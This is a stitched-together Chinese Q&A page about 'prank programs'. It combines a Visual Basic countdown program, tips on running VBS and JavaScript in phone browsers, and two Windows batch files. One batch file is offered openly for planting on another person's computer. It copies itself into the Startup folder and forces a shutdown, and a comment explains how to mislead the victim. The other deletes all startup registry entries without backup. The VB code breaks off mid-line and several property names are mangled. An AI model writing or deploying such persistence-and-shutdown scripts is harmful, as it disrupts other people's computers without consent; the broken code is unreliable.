求用vb做一个整人小程序

在窗体上放一个定时器timer1,一个命令按钮command1,和一个标签label1

代码如下（直接拷贝）

Option Explicit: Dim x As Integer

Private Sub Command1_Click()

Dim a As Integer, b As Integer

While a <> 1 And b <> -2

a = Val(InputBox("请输入-x2＋x＋2＝0的根"))

b = Val(InputBox("请输入-x2＋x＋2＝0的根"))

If a <> 1 And b <> -2 Then

MsgBox "答案不对！"

End If

Wend

If a = 1 And b = -2 Then

Timer1Enabled = True

End If

End Sub

Private Sub Form_Load()

Command1Caption = "输入"

Label1Caption = ""

Timer1Interval = 1000

Timer1Enabled = False

x = 40

End Sub

Private Sub Timer1_Timer()

x = x - 1

Label1Caption = x & "秒"

If x = 0 Then

Timer1Enabled = False

Shell "explorer " & ">

VBS文件手机是不能打开的，但可以将它嵌入到网页文件上，有的手机浏览器是支持HTML文件的，但是VBS代码中的大部分在手机上都不能用，如调用外部程序什么的，因为那是Windows的代码，不过手机可以支持msgbox、inputbox等函数，嵌到网页中的方法是新建一个文本文档，扩展名改为html，在里面输入<script language="vbscript"></script>，输入vbs代码时在两个括号中间输入，不过可能和vbs文件不太一样，如

<script language="vbscript">msgbox "哈哈！"</script>

不过手机还是推荐用JS脚本，举个例，d出对话框

<script language="vbscript">alert("哈哈！");</script>

如果你有能力你可以直接把做出的html文件上传到一个域名上，然后在手机直接输入网址打开，或者文件传到手机上打开

测试你的手机浏览器是否支持JS插件：在浏览器地址栏上输入

javascript:alert("哈哈！")

然后回车，如果能d出对话框说明支持JS

VBS的方法：输入

vbscript:msgbox ("哈哈！")

回车，同上

望采纳

邪恶啊！我真邪恶！

把bat文件加入别人电脑的启动项里

目的就是叫指定目标的电脑一开机就重启，或者关机

关键是这一句（xp适用）

copy %0 "%userprofile%\「开始」菜单\程序\启动"

，如果是win7系统将路径改为"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"。

@echo off

msg baby，早睡早起身体好。

rem 迷惑她，让她以为你发这个就是为说这句话的。

net start Schedule

if %time% geq 0:00 if %time% leq 6:00 shutdown /s /t 0

cls

copy %0 "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动"

pause

@ ECHO OFF

@ ECHO

@ ECHO 说 明

@ ECHO --------------------------------------------------------------

@ ECHO 本批处理会自动清理所有非必要的启动项目，仅保留输入法(ctfmon)。

@ ECHO 目的是减少不必要的资源占用，使系统运行顺畅。但清理掉的项目不作

@ ECHO 备份，请小心使用。

@ ECHO --------------------------------------------------------------

PAUSE

reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f

reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmonexe /d C:\WINDOWS\system32\ctfmonexe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /f

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIGEXE" /Spoil /RemAdvDef /Migration32"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81" /v item /d IMJPMIG

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG81" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v command /d "C:\WINDOWS\system32\IME\TINTLGNT\TINTSETPEXE /IMEName"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v item /d TINTSETP

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIGEXE" /Spoil /RemAdvDef /Migration32"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v item /d TINTSETP

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

del "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\" /q /f

del "C:\Documents and Settings\Default User\「开始」菜单\程序\启动\" /q /f

del "%userprofile%\「开始」菜单\程序\启动\" /q /f

start C:\WINDOWS\system32\msconfigexe

以上就是关于求用vb做一个整人小程序全部的内容，包括:求用vb做一个整人小程序、为什么用代码编写的VBS整人小程序不可以通过QQ传送给别人！！、vbs整人小程序代码.手机可以用吗等相关内容解答，如果想了解更多相关内容，可以关注我们，你们的支持是我们更新的动力！